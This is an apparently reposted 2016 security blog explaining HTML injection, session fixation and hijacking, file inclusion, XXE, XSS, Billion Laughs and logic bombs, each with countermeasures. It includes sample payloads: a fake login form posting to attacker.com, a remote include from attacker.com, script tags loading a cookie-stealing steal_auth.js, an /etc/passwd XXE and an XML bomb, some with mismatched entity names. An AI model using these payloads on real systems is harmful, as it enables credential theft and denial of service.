Computer Security and PGP

Wednesday, January 6, 2016

What is an HTML Injection Attack ?

If not redirected, please click here https://www.thesecuritybuddy.com/vulnerabilities/what-is-html-injection-attack/

HTML Injection Attack is an attack through which an attacker takes advantage of security vulnerabilities of a web application and injects his own HTML contents into the webpage, thus tricking the user to provide sensitive information.

How is HTML Injection Attack perpetrated

Let's assume, a web application has security vulnerabilities. Let's say, it has implemented the following piece of PHP code :

<?php

$name = $_REQUEST ['name'];

<html>

Welcome <?php echo $name ?>!!

</html>

Clearly, this code has vulnerability via the name parameter.

Suppose, an attacker comes to know about the vulnerability and he wants to steal an authenticated user's username and password.

So, he uses some form of social engineering and sends a victim the following link :

/vulnerable.php?name=<h1>Please enter your username and password</h1><form method=”POST” action=”http://attacker.com/login.php”>Username:<input type=”text” name=”username” /> <br><Password:<input type=”password” name=”password” /><input type=”submit” value=”Login” /></form><!--

The attacker may also convert the ASCII characters to hexadecimal so that the link is not human readable.

The attacker may send this link to the victim through an email attachment saying some new features in the website.

The victim clicks on the link and a login screen similar to a well known website appears and it asks for username and password.

When the victim provides his username and password, the data directly goes to the attacker.

The attacker can now impersonate the victim and login to the victim's account with his login information.

Countermeasures for HTML Injection Attack

We can take a couple of steps to prevent this attack.

Never insert untrusted data excepting some allowable locations.
Use HTML Escape before inserting untrusted data into HTML element content
Use Attribute escape before inserting untrusted data into HTML common attributes
Use JavaScript escape before inserting untrusted data into JavaScript data values.
HTML escape JSON values in an HTML context and read the data with JSON.parse
Use CSS escape and strictly validate data before inserting the untrusted data into HTML style property values
Use URL escape before inserting untrusted data into HTML URL parameter values
Sanitize HTML markup with a proper library
Use HTTPOnly cookie flag
Implement content security policy.

So, beware of various vulnerabilities in web applications and stay safe, stay secured.

What is Session Fixation Attack ?

If not redirected, please click here https://www.thesecuritybuddy.com/malware-prevention/what-is-session-fixation-attack/

When a user authenticates himself to a server, a session cookie is placed in his computer. For subsequent requests in the session, the information kept in the cookie is used.

In Session Fixation Attack, an attacker exploits security vulnerability in the web application and fixes the session key of the user to some predefined value, so that the attacker can later log in to the server and impersonate the user to steal sensitive information and perform more attacks.

Let's understand how the attacks are performed, with a couple of examples.

Example 1 :

The attacker finds out the web application has security vulnerabilities. It accepts any session
identifier especially accepts session identifier from query strings and does not do security validation properly.
The attacker now uses some social engineering and sends the victim a link containing the predefined session key. He convinces the victim to click on the link, for example by saying, it's a link of some new features in the bank.
The victim clicks on the link and a login window appears.
The victim logs in and the session key is set with the value the attacker provided.
The attacker can now log in and get unlimited access to the victim's account. The attacker can now steal sensitive information or perform more attacks.

Example 2 :

The attacker logs in to the server and notes down the session key.
The attacker sends a link containing the session key to the victim using similar social engineering tricks.
The victim clicks on the link and logs in to the server.
The victim's session key is set to the session key sent by the attacker.
The attacker can now login to the server impersonating the victim.

Please note that, here the attacker is using a server generated session id instead of a random one. So, even if a server accepts only server generated session keys, it is not safe from Session Fixation Attacks.

Example 3 :

A website vulnerable.com gives a subdomain unrusted.vulnerable.com to an untrusted third party.
The attacker has control over the website untrusted.vulnerable.com and he lures the victim to visit utrusted.vulnerable.com
When the victim visits untrusted.vulnerable.com, a cookie is set on his browser with the domain .vulnerable.com
The victim now visits vulnerable.com and the same cookie is sent to the server.
The server accepts the cookie as it is with the domain .vulnerable.com
But, this session key is known to the attacker. So, the attacker logs in to the server and impersonates the victim.

How to prevent Session Fixation Attack ?

We can take a couple of steps to prevent this attack.

Web applications should not accept session identifiers from GET or POST variables. They will rather simplify the attacks.
Web applications should change the session key once a user logs in. This will limit the attackers even if they manage to fix session key of anonymous users.
Web applications can change the cookie with each and every request made by the user's computer. This will limit the attacker to a great extent, as he can do little with fixing a single session key.
Web applications should not accept any random number as session key. Instead, they should accept only server generated session keys.
Users should always log out of the web applications, as soon as they are done using them.
Web applications should time-out old session keys. This will reinforce the security.
Web applications should destroy the session, if Referrer is suspicious.
Web applications should use secondary checks like matching the IP address with that of the previous session etc, to increase the security.
And, using more than one of the methods stated above will always reinforce the security better.

So, beware of various vulnerabilities so that you can protect your information in a better way and stay safe, stay secured.

What is Session Hijacking ?

If not redirected, please click here https://www.thesecuritybuddy.com/malware-prevention/what-is-session-hijacking/

When a user authenticates himself in a web server, the session is maintained with a HTTP cookie. And the cookie is placed in the user's computer. Session Hijacking is an attack in which an attacker exploits a valid session of a user and gets unauthorized access to the web server for malicious purposes.

There are couple of methods using which a Session Hijacking is performed :

Session Fixation : In this attack, an attacker sets a user's session id to one known to him. And, when the user falls in trap and logs in to the server, the attacker impersonates him.

It normally follows these steps :

An attacker uses social engineering and sends the victim a link containing the predefined session id.
The victim clicks on the link and a log in screen pops up. When he logs on to the server, the server assigns that session id to the victim (because of vulnerabilities in the web application)
But, this session id is known to the attacker. So, the attacker now logs in to the server impersonating the victim.

Session Sidejacking : In this attack, the attacker mainly does packet sniffing and reads the network traffic between the victim's machine and the server to steal the session cookie.

It normally follows these steps :

The victim logs in to the server and starts communicating.
The attacker uses a packet sniffer and reads the network traffic between them.
The attacker steals the session cookie.
The attacker uses the same session cookie to log in to the server and impersonate the victim.

Cross-Site Scripting : In this attack, the attacker exploits a victim and inject client side scripts into web pages viewed by the victim to do malicious activities like steal sensitive information etc.

It normally follows these steps :

The attacker writes a script such that when a user is already logged in to the server and clicks on the link of the script, the session information is transferred to the attacker.
The attacker uses some social engineering and sends the link to the victim.
The victim logs in to the server and clicks on the link.
Session information placed in the cookie is transferred to the attacker.
The attacker now exploits the session information to log in to the server impersonating the victim.

Using Malware : Here, the attacker infects the victim's computer with a malware and then steals the session cookie.

Just to give an example :

The victim installs a software from an untrusted source.
The victim's computer is infected with a Browser Hijacker.
The malware changes the security settings of the attacker's browser.
When the victim logs in to the server, the malware steals the session cookie and transfers it to the attacker.
The attacker can now log in to the server impersonating the victim.

Countermeasures for Session Hijacking

We can take couple of steps to prevent Session Hijacking.

Web applications should use SSL/TLS to transfer sensitive data. This will encrypt the data making it difficult for the attacker to steal session cookie or any other information.
Web applications should use very long random numbers as session key, so that it becomes difficult for the attacker to guess the session key and exploit that.
After a user authenticates himself, the server should regenerate the session key. It will become difficult for the attacker to guess the session key after the user logs in.
Web applications should use secondary checks like matching the IP address with that of the previous session etc, to increase the security.
Web applications can change the cookie with each and every request made by the user's computer. This will limit the attacker to a great extent.
And, users should always log out of the web applications, as soon as they are done using them.

So, this was another piece of information on a recent threat. Hope it helped you.

Monday, January 4, 2016

What is a File Inclusion Attack ?

If not redirected, please click here https://www.thesecuritybuddy.com/vulnerabilities/what-is-file-inclusion-attack/

In File Inclusion Attack, an attacker tricks a web server to execute certain scripts and include a sensitive file from the server or malicious file remotely to the server with the purpose of performing even more attacks.

File Inclusion Vulnerability occurs mainly because of poor coding in the web applications. If a user supplied input is used without proper validation, that leads to this type of vulnerability.

Purpose of File Inclusion Attack

The purpose of this type of attacks may include :

Obtaining contents of sensitive files from a web server
Execution of malicious code in the web server to perpetrate even more attacks
Performing Cross Site Scripting Attack
Performing Denial of Service or DoS attacks
Stealing sensitive data from the web server

How is File Inclusion Attack perpetrated

There are mainly two types of File Inclusion Attacks :

Local File Inclusion Attack

Remote File Inclusion Attack

Local File Inclusion Attack :

In Local File Inclusion Attack, the attacker tricks the web server to include a local sensitive file and reveal its contents to the attacker.

Let's consider the following piece of code :

<?php

if ( isset( $GET['EYES'] ) ) {

include( $_GET['EYES'] . '.php' );

}

<form method="get">
        <select name="EYES">
                <option value="black">Black</option>
                <option value="blue">Blue</option>
        </select>
         <input type="submit">
</form>

Here, if the attacker executes /eyes.php?EYES=/etc/passwd that will allow the attacker to read the content of file /etc/passwd from the web server. This may lead to theft of sensitive data or even more attacks later. This is a typical example of Local File Inclusion Attack.

Remote File Inclusion Attack :

In Remote File Inclusion Attack or RFI Attack, the attacker tricks the web server to include a remote malicious file to the server and then performs more attacks.

If we consider the same piece of code that is shown above, the attacker may execute the following to perform a Remote File Inclusion or RFI Attack.

/eyes.php?EYES=http://attacker.com/malicious.txt? : This will inject a malicious file to the web server
/eyes.php?EYES=C:\\ftp\\upload\\exploit : This will execute code from an already uploaded malicious file 'exploit' which may lead to spread of malware or other attacks.

Countermeasures for File Inclusion Attacks

We can follow some coding practices which may reduce the incidences of File Inclusion Attacks to a large extent.

When a passed-in path is included, make sure it does not contain unintended character patterns.
Instead of dynamically generating the path from the URL or form parameter, you can use a predefined switch/case statement to determine which file should be included.

So, follow some simple rules and safeguard your web applications from File Inclusion Attacks.

Sunday, January 3, 2016

What is an XML External Entity Attack ?

If not redirected, please click here https://www.thesecuritybuddy.com/dos-ddos-prevention/what-is-xxe-or-xml-external-entity-attack/

An XML External Entity Attack or XXE Attack is a type of computer security vulnerability found in many web applications. The attack occurs when an XML input that contains a reference to an external entity is processed by a weakly configured XML parser.

Let's discuss this in detail.

XML External Entity or XXE Attack

XML or External Markup Language is a format used to describe the structure of a document, such as webpages. An entity in an XML document maps some name to a value. It uses the following syntax :

<!ENTITY entityName "The text you want to appear when the entity is used">

An external entity is declared with a URI. The URI is derefenced by an XML processor when processing the entity.

For example,

<?xml version="1.0" ?>
<!DOCTYPE author_info [
  <!ELEMENT book ANY>
  <!ENTITY book SYSTEM "file:///author/book">
]>
<book>&book;</book>

In the above example, book is an external entity which is declared by the URI file:///author/book. When the XML will be parsed by the XML processor, 'book' will contain the contents of the file /author/book.

In an XXE attack, the attacker exploits this functionality to perform DoS attack or steal sensitive information.

For example,

<?xml version="1.0" ?>
<!DOCTYPE foo [
  <!ELEMENT bar ANY>
  <!ENTITY bar SYSTEM "file:///dev/random">
]>
<bar>&xxe;</bar>

In the above example, the URI of the external entity is accessing a local source which may not return. As a result, if this XML is processed with a weakly configured XML processor it will exhaust the resources of the system, resulting in a DoS or Denial of Service Attack.

In another example,

<?xml version="1.0" ?>
<!DOCTYPE passwd [
  <!ELEMENT passwd ANY>
  <!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<passwd>&xxe;</passwd>


Here, content of /etc/passwd will be stored in xxe, which can be later transferred

 back to the attacker, thus revealing sensitive information.


Countermeasures for XXE Attack

One should configure the XML processor properly. One effective method of

preventing XXE attack is to configure XML parser not to allow DOCTYPE

declarations.

This can be done by setting “disallow-doctype-decl” in the parser.

With this settings, if the input contains a DOCTYPE declaration, parsing will stop

and prevent the exposure of sensitive information.

This setting is also preferred as it guards against XEE Attack.


So, beware of various vulnerabilities. And stay safe, stay secured.

Saturday, January 2, 2016

What is a Cross-Site Scripting or XSS Attack ?

If not redirected, please click here https://www.thesecuritybuddy.com/vulnerabilities/what-is-xss-or-cross-site-scripting-attack/

Cross-Site Scripting is a computer security vulnerability in web applications using which an attacker can exploit a victim and inject client side scripts into web pages viewed by the victim to do malicious activities like steal sensitive information etc.

There are three types of Cross-Site Scripting Attacks :

Reflected or Non-persistent Cross-Site Scripting Attack or Reflected XSS
Persistent or Stored Cross-Site Scripting Attack or Stored XSS
DOM Based Cross-Site Scripting Attack or DOM Based XSS

Let's discuss each type of attack with a simple example to understand it better.

Reflected XSS

Suppose, there is a web application vulnarable.com which has XSS vulnerability. Adam is a registered user there. And Bob is an attacker who is aware of the vulnerability.

Also assume that, in vulnerable.com there is a search bar. If anyone searches with a keyword, related results appear in the page. Or it says “Not Found” if no matching entry is available.

Bob has written a script steal_auth.js. If a registered user executes that script then his authentication information stored in cookies in transferred to Bob.

So, Bob keeps this script in malicious.com/steal_auth.js and sends a link of that to Adam. Bob may use social engineering to trick Bob to click on that link, for example Bob may send that link to Adam in an email attachment and say, look at some interesting pictures! which may eventually point to

http://malicious.com?q=pictures<script%20src=”http://malicious.com/steal_auth.js”>

Bob may even convert the ASCII characters to hexadecimal so that the link is not human readable.

Now, suppose Adam clicks on the link when he is already authenticated to the website vulnerable.com. And when he does so, his authentication information will get transferred to Bob silently, though Adam will see a benign message in the search results “Not Found”.

With this sensitive authentication information of Adam, Bob can impersonate Adam and login to his account. If Adam has other sensitive information like Credit Card number etc stored in his account, Bob can do much mischiefs. Bob can even change Adam's password, so that Adam's account is no longer accessible to Adam.

This type of attacks are Reflective XSS.

Persistent or Stored XSS

Now, let's suppose, in the previous example, there is a section for posting comments. And whatever comments are posted are stored in database as it is.

Now, Bob makes a malicious comments in this section :

I love the site.<script src=”http://malicious.com/steal_auth.js”>

If the comment is stored in the database as it is, when any registered user will go to the section and load the webpage, the script steal_auth.js will be executed.

As a result, the user's authentication information will silently get transferred to Bob. And we know now, after that what can happen. This is a simple example of Persistent or Stored XSS.

Sometimes, attackers exploit these vulnerabilities in social networking web applications. They make malicious comments embedded with javascripts and post it. As a result, any user who will load the webpage with such comments, his sensitive information will be stolen. In one such attack, an attacker used similar techniques to add any user who visits his webpage to his friendlist.

DOM Based XSS

In DOM Based XSS, the attacker embedds the malicious attacker data in the client side, from within a page served from the web server.

For example, suppose a link of the web application vulnerable.com is

http://vulnerable.com/welcome.html?name=Bill

And, the JavaScript code in that webpage embeds part of the URL (here name=Bill) into the page without consideration.

Now, Bob tricks Adam to click on a link :

http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

This will embed the javascript payload into the page at runtime. And Bob can exploit it as usual.

There are several DOM objects which can be exploited :

The path/query object of the location/URL object
The username and/or password part of the location/URL object
The fragment part of the location/URL object
The referrer object

Countermeasures for XSS

There are couple of steps that we can take to prevent this attack :

Never insert untrusted data excepting some allowable locations.
Use HTML Escape before inserting untrusted data into HTML element content
Use Attribute escape before inserting untrusted data into HTML common attributes
Use JavaScript escape before inserting untrusted data into JavaScript data values.
HTML escape JSON values in an HTML context and read the data with JSON.parse
Use CSS escape and strictly validate data before inserting the untrusted data into HTML style property values
Use URL escape before inserting untrusted data into HTML URL parameter values
Sanitize HTML markup with a proper library
Use HTTPOnly cookie flag
Implement content security policy.

Because of increased length of the article I did not elaborate each rule. But, I would strongly recommend to go through the following link :

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

Friday, January 1, 2016

What is a Billion Laughs Attack ?

If not redirected, please click here https://www.thesecuritybuddy.com/dos-ddos-prevention/what-is-billion-laughs-attack/

A Billion Laughs Attack is a Denial of Service or DoS Attack which targets parsers of XML documents. The attack is also known as an XML Bomb or Exponential Entity Expansion Attack or XEE Attack.

An XML entity is a symbolic representation of information like a variable in computer program. It is declared in Document Type Definition or DTD with the following syntax :

<!ENTITY entityName "The text you want to appear when the entity is used">

Now, let's consider the following lines of code :

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

This example consists of ten entities. Each entity consists of ten of the previous entity. And the document will consist of one billion copies of the first entity.

In most of the examples the first entity is represented as the string “lol” and hence the name The Billion Laughs Attack.

As the document consists of one billion copies of the first entity, the computer memory used will exceed the memory available to the process parsing the XML. As a result, the parser will consume an exponential amount of resources, causing a Denial of Service attack.

The attack was first reported in 2002. But, it began to be widely addresses later.

How to prevent Billion Laughs Attack or XEE Attack ?

There are couple of steps that can be taken.

We can limit the number of Entity Reference Nodes that the parser can expand.
We can limit the number of characters up to which the entity can expand.

So, beware of all the vulnerabilities. And stay safe, stay secured.

Read More

What is Web Application Firewall ?

What is Deep Packet Inspection ?

What is Next Generation Firewall ?

How to prevent DDoS attacks ?

What is IoT Botnet ?

How does Network Segmentation improve security ?

What are Logic Bombs and Time Bombs ?

If not redirected, please click here https://www.thesecuritybuddy.com/malware-prevention/what-are-logic-bombs-and-time-bombs/

A Logic Bomb is a malicious piece of code that gets executed when a certain condition is met. A simple example is, a program that monitors payroll system of a company and deletes critical files when a specific employee is terminated.

A Time Bomb is a Logic Bomb execution of which is triggered in a specific day or time – such as Valentines Day or 1st April.

Time Bombs and Logic Bombs are malware that are used mainly by attackers for illegitimate purposes. They may embed the piece of code with a trojan or virus and use social engineering to trick user to install the malware in his system. After that, the trojan or virus can spread itself silently. And when a certain day or time has appeared, it can start alerting the users.

Attackers can also use Logic Bombs with spyware and steal sensitive information. The spyware can silently infect a computer when the user clicks on suspicious link, opens suspicious email attachments or installs software from untrusted sources. The spyware can install keystroke logger it the system. And when the user opens web applications of bank etc to authenticate himself, the Logic Bomb may get triggered. It can silently log the keystrokes and steal sensitive information and later transfer the data to the attacker silently.

Many a times Logic Bombs and Time Bombs are used by disgruntled employees for taking revenge or for some other malicious purposes. Some popular examples include – a unix system administrator got imprisonment of 30 months for inserting a Logic Bomb in Medco Health Solution Servers. An IT contractor Fannie Mae inserted a Time Bomb to attack corporate servers.

What are the countermeasures ?

There are some steps that can be taken to prevent these attacks.

Principle of least privileges to employees within an organization always helps in preventing these attacks.
Do not click on suspicious links.
Do not install any software from untrusted sources.
Do not open any email attachment if you are not very sure of the authenticity of the sender.
Keep your browser and other commonly used software updated with recent security patches. Most of the time malware infects a computer taking advantage of the security holes of commonly used software.
Keep your computer updated with anti-malware software from a trusted source.
Keep your Operating System updated with recent patches. This will reduce the vulnerability of your Operating Systems from recent threats.

And awareness of recent threats and vulnerabilities always helps. So, stay safe, stay secured.